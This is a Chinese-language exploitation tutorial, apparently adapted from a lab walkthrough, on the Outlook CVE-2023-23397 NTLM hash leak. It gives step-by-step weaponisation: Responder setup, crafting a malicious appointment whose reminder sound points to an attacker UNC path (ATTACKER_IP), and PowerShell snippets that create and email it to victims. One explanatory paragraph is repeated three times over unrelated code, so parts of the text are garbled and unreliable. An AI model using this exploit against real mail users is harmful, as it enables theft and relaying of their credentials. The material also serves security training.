介绍及利用教程
在最新的补丁星期二,微软发布了83 个安全修复程序,其中一个是影响 Windows 系统上所有版本的 Outlook 桌面应用程序的“CVE-2023-23397”漏洞。但是,此漏洞不会影响 Outlook Web 应用程序 (OWA) 或 Microsoft 365,因为它们不支持 NTLM 身份验证。攻击者可以利用此权限升级问题获取用户的凭据并使用这些 NTLM 哈希升级权限。
介绍
图片说明
CVE-2023-23397 概述
这个漏洞特别危险,因为它是一个零点击漏洞,这意味着攻击者不需要用户交互来激活它。如果受感染的电子邮件到达用户的收件箱,攻击者可以获得对用户敏感的 Net-NTLMv2 凭据哈希的访问权限。
实施强大的电子邮件安全措施(包括防病毒软件和垃圾邮件过滤器)并教育用户识别和避免可疑电子邮件以防止此类攻击至关重要。此外,我们可以使用多因素身份验证为用户帐户添加另一层安全性,并防止未经授权的访问,即使凭据被泄露也是如此。
图片说明
Microsoft Outlook 设置屏幕
滥用 Outlook 约会提醒
Microsoft Outlook 允许用户在发送日历邀请时添加提醒通知。用户还可以指定提醒通知期间播放的音频文件。此功能旨在使用户能够通过选择音频文件来设置他们的通知。但是,威胁行为者可以操纵此参数以强制 Outlook 将当前密码哈希泄露给攻击者,而无需与受害者进行任何交互。
图片说明
在 Outlook 桌面应用程序中创建约会
要在 PidLidReminderFileParameter 属性中指定通用命名约定 (UNC) 路径而不是本地文件,攻击者可以使用双反斜杠、托管资源的计算机的 IP 地址或名称、共享名称和文件名。UNC 是一种 Windows 操作系统功能,可帮助定位共享文档、文件和打印机等网络资源。
制作恶意约会
利用此漏洞的过程涉及创建恶意日历邀请,其中包含指向攻击者计算机上网络共享中文件的声音文件。对声音文件的引用存储在 Outlook 电子邮件中名为“ PidLidReminderFileParameter ”的内部参数中。此外,攻击者必须将“ PidLidReminderOverride ”参数设置为“true”,以确保恶意电子邮件中嵌入的音频优先于受害者的默认提醒配置。
图片说明
CVE-2023-23397 的声音选择屏幕
攻击者可以通过指定指向网络共享的 UNC 路径来设置 PidLidReminderFileParameter 属性。
图片说明
制作有效载荷的步骤
当受害者收到恶意电子邮件时,UNC 路径会触发针对攻击者机器的 NTLM 身份验证过程,从而泄露 Net-NTLMv2 哈希值,攻击者随后可以破解该哈希值。如果 SMB 协议不是一个选项,非服务器版本的 Windows 将接受指向端口 80 或 443 的 UNC 路径,使用 HTTP 从启用 WebDAV 的 Web 服务器检索文件。
为了处理身份验证过程并捕获 NetNTLM 哈希,攻击者可以使用模拟 SMB 服务器的 Responder。
图片说明
为 CVE 2023 23397 设置约会的步骤
我们现在已准备好通过 Outlook 漏洞触发身份验证尝试。
为了利用这个漏洞,我们需要制作一封恶意电子邮件,其中包含一个包含触发它所需参数的约会。为此,我们将设置 Responder,它将处理身份验证过程并捕获 NetNTLM 哈希。
图片说明
用于捕获 NTLM 哈希的响应程序设置
攻击者可以使用 Responder 工具模拟 SMB 服务器并捕获针对它的身份验证尝试。要创建恶意电子邮件,攻击者可以手动创建约会并修改提醒的声音文件路径以指向共享文件夹。
为此,我们需要单击日历,然后单击任务栏上的新建约会按钮。
可以通过约会提醒设置窗口中的 UI 配置多个参数。其中一个参数是ReminderSoundFile,需要将其分配给指向我们的 AttackBox 的 UNC 路径。此外,我们需要将 ReminderOverrideDefault 和 ReminderPlaySound 都设置为 true。下面对每个参数做一个简单的解释:
ReminderPlaySound:一个布尔值,用于确定是否在提醒时播放声音。
ReminderOverrideDefault:一个布尔值,指示 Outlook 客户端播放由 ReminderSoundFile 指定的声音,而不是默认声音。
ReminderSoundFile:一个字符串,包含将使用的声音文件的路径。对于我们的漏洞利用,我们将使用位于 AttackBox 中的虚假共享文件夹
应用任何更改时,单击“运行”按钮。您可以重新访问“属性”选项卡以验证修改是否已正确实施。完成后,将约会添加到您的日历并确认提醒设置为零分钟。此外,确保约会日期和时间准确无误,使其能够立即触发。最后,将约会保存到您的日历中。
如果一切按预期进行,您应该会立即看到一个提醒弹出,并且您应该会在 AttackBox 上的 Responder 控制台中收到身份验证尝试,如下所示:
武器化漏洞
图片说明
漏洞利用的工作流程
要利用漏洞,攻击者需要执行几个步骤:
首先,攻击者必须创建一个带有自定义提醒声音的恶意会议或约会,将其定向到他们计算机上的 UNC 路径。
接下来,攻击者必须通过电子邮件向受害者发送邀请。
等待提醒触发与攻击者机器的连接。
此后,攻击者可以捕获 Net-NTLMv2 哈希、使用身份验证中继或找到其他方式从攻击中获利。
虽然 Responder 涵盖了第 3 步和第 4 步,但手动制作恶意约会可能非常耗时。
图片说明
捕获的 NTLM 哈希后利用
此 Powershell 漏洞利用 Outlook 的 COM 对象轻松创建电子邮件和约会。它包括两个有价值的功能:“ Save-CalendarNTLMLeak ”和“ Send-CalendarNTLMLeak ”。
前一个函数创建一个恶意约会并将其保存到攻击者的日历中。相比之下,后一个函数会创建一个恶意约会,并通过电子邮件从攻击者的 Outlook 默认帐户将其发送给受害者。
剖析漏洞利用代码
“ Save-CalendarNTLMLeak ”和“ Send-CalendarNTLMLeak ”函数都以类似方式创建约会。但是,我们只会解释 Save-CalendarNTLMLeak 的工作原理。首先,我们需要创建一个“Outlook.Application”对象,然后创建约会。
$Outlook = New-Object -comObject Outlook.Application
$newcal = $outlook.CreateItem('olAppointmentItem')
使用保存日历NTLMLeak函数创建约会时,我们必须设置标准参数,例如收件人,会议主题,位置,正文以及开始和结束日期。该漏洞利用将开始日期设置为当前时间,以确保立即触发提醒。
$newcal.Recipients.add($recipient)
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$newcal.Subject = $meetingsubject
$newcal.Location = "Virtual"
$newcal.Body = $meetingbody
$newcal.Start = get-date
$newcal.End = (get-date).AddHours(2)
使用保存日历NTLMLeak函数创建约会时,我们必须设置标准参数,例如收件人,会议主题,位置,正文以及开始和结束日期。该漏洞利用将开始日期设置为当前时间,以确保立即触发提醒。
$newcal.ReminderSoundFile = $remotefilepath
$newcal.ReminderOverrideDefault = 1
$newcal.ReminderSet = 1
$newcal.ReminderPlaysound = 1
使用保存日历NTLMLeak函数创建约会时,我们必须设置标准参数,例如收件人,会议主题,位置,正文以及开始和结束日期。该漏洞利用将开始日期设置为当前时间,以确保立即触发提醒。
$newcal.send()
运行 Powershell 漏洞利用
使用 Save-CalendarNTLMLeak 漏洞时,您需要将“ATTACKER_IP”替换为“-remotefilepath”参数中 AttackBox 的 IP 地址。请注意,在这种情况下,您将向自己发送电子邮件,因为计算机上只有一个帐户。但是,在典型情况下,您将定位其他电子邮件地址。
由于该漏洞使用当前 Outlook 实例发送电子邮件,因此您可能会收到多个警报,请求允许代表您发送电子邮件。根据需要多次单击“允许”至关重要,选中“允许访问 10 分钟”复选框可以帮助加快此过程。
点它,分享点赞在看都在这里